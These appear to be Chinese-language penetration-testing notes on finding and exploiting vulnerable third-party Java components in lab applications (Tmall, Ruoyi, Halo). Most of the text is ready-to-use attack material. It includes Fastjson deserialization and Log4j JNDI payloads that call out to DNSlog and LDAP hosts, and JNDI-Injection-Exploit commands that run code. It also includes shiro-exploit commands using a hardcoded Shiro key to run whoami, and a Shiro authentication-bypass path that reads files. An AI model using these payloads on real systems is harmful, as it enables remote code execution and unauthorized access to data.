开发组件
第三方组件安全
1、找存在漏洞的第三方组件(PackageChecker插件)
2、找组件漏洞利用入口条件(根据网上已知漏洞复现条件)
3、找可控地方进行测试检测(根据网上已知漏洞利用条件)
常见第三方组件或框架漏洞列表:
SolrShiroFastjsonJacksonLog4jSnakeYamlHessianH2database
Xsteam、Druid、Struts2、Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Hive、Datax、Streaming、DolphinScheduler、Storm、Spring等。
运用插件
勾选
这样就会提示
Tmall-Fastjson1.2.58
触发点:JSON.parseObject() JSON.parse()
全局搜索->JSON.parseObject()->propertyJson->admin/product
{“@type”:”java.net.Inet4Address”,”val”:”miyvosnszc.dgrh3.cn”}
propertyJson可控
访问路由
这边不能上传,再回到admin页面查找
随便填填保存再抓包
修改箭头指向部分{“@type”:”java.net.Inet4Address”,”val”:”miyvosnszc.dgrh3.cn”}
Tmall-Log4j2.10.0
触发点:logger.error logger.info
全局搜索->logger.info->originalFileName->admin/uploadAdminHeadImage
${jndi:ldap://${env:OS}.mq6bqf.dnslog.cn}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C”calc”
搜logger.info函数,里面还要有可控变量
自带方法获取文件名getOriginalFilename
直接访问路由不行
根据方法名,猜测这里抓个包
控制这里
${jndi:ldap://${env:OS}.vc8yl8.dnslog.cn}
尝试成功直接上工具java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C”calc”
直接利用
Ruoyi-Shiro1.4.2
4.2版本
1、反序列化:
setCipherKey->fCq+/xW488hMTCD+cmJ3aQ==
https://github.com/Ares-X/shiro-exploit
python shiro-exploit.py check -u http://192.168.1.2/
python shiro-exploit.py echo -g CommonsCollectionsK1-u http://192.168.1.2/-v 2 -k fCq+/xW488hMTCD+cmJ3aQ==-c whoami
源码密钥位置setCipherKey fCq+/xW488hMTCD+cmJ3aQ==
python3 shiro-exploit.py check -u http://10.211.55.3:82/
python3 shiro-exploit.py echo -g CommonsCollectionsK1 -u http://10.211.55.3:82/ -v 2 -k fCq+/xW488hMTCD+cmJ3aQ== -c whoami
2、权限绕过:
-anon为匿名拦截器,不需要登录就能访问,一般用于静态资源,或者移动端接口
-authc为登录拦截器,需要登录认证才能访问的资源。
例子:
[urls]
/index.html = anon 允许访问
/user/** = authc 需要验证
shiro匹配规则
?:匹配一个字符
*:匹配零个或多个字符串
**:匹配路径中的零个或多个路径
配置:com/ruoyi/framework/config/ShiroConfig.java
绕过:https://www.freebuf.com/vuls/231909.html
测试:/ajax;/../common/download/resource?resource=/profile/1.txt
Halo-H2database 1.4.197
H2database->application.yaml->web-allow-others: true
javax.naming.InitialContext
ldap://192.168.139.1:1389/5eebf8
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc”
数据库地址